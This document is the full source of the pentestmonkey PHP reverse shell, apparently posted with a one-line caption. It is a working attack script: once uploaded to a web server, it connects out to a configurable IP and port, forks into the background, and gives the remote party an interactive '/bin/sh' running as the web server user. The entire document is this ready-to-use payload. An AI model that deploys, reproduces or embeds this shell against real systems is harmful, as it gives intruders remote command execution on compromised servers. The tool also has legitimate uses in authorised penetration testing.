literally a php reverse shell

<?php

// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 17355;

 // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {

 // Fork and have the parent process exit

 $pid = pcntl_fork();

 

 if ($pid == -1) {

 printit("ERROR: Can't fork");

 exit(1);

 }

 

 if ($pid) {

 exit(0);  // Parent exits

 }

 // Make the current process a session leader

 // Will only succeed if we forked

 if (posix_setsid() == -1) {

 printit("Error: Can't setsid()");

 exit(1);

 }

 $daemon = 1;
} else {

 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {

 printit("$errstr ($errno)");

 exit(1);
}

// Spawn shell process
$descriptorspec = array(

 0 => array("pipe", "r"),  // stdin is a pipe that the child will read from

 1 => array("pipe", "w"),  // stdout is a pipe that the child will write to

 2 => array("pipe", "w")

 // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {

 printit("ERROR: Can't spawn shell");

 exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

 // Check for end of TCP connection

 if (feof($sock)) {

 printit("ERROR: Shell connection terminated");

 break;

 }

 // Check for end of STDOUT

 if (feof($pipes[1])) {

 printit("ERROR: Shell process terminated");

 break;

 }

 // Wait until a command is end down $sock, or some

 // command output is available on STDOUT or STDERR

 $read_a = array($sock, $pipes[1], $pipes[2]);

 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

 // If we can read from the TCP socket, send

 // data to process's STDIN

 if (in_array($sock, $read_a)) {

 if ($debug) printit("SOCK READ");

 $input = fread($sock, $chunk_size);

 if ($debug) printit("SOCK: $input");

 fwrite($pipes[0], $input);

 }

 // If we can read from the process's STDOUT

 // send data down tcp connection

 if (in_array($pipes[1], $read_a)) {

 if ($debug) printit("STDOUT READ");

 $input = fread($pipes[1], $chunk_size);

 if ($debug) printit("STDOUT: $input");

 fwrite($sock, $input);

 }

 // If we can read from the process's STDERR

 // send data down tcp connection

 if (in_array($pipes[2], $read_a)) {

 if ($debug) printit("STDERR READ");

 $input = fread($pipes[2], $chunk_size);

 if ($debug) printit("STDERR: $input");

 fwrite($sock, $input);

 }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {

 if (!$daemon) {

 print "$string\n";

 }
}

?>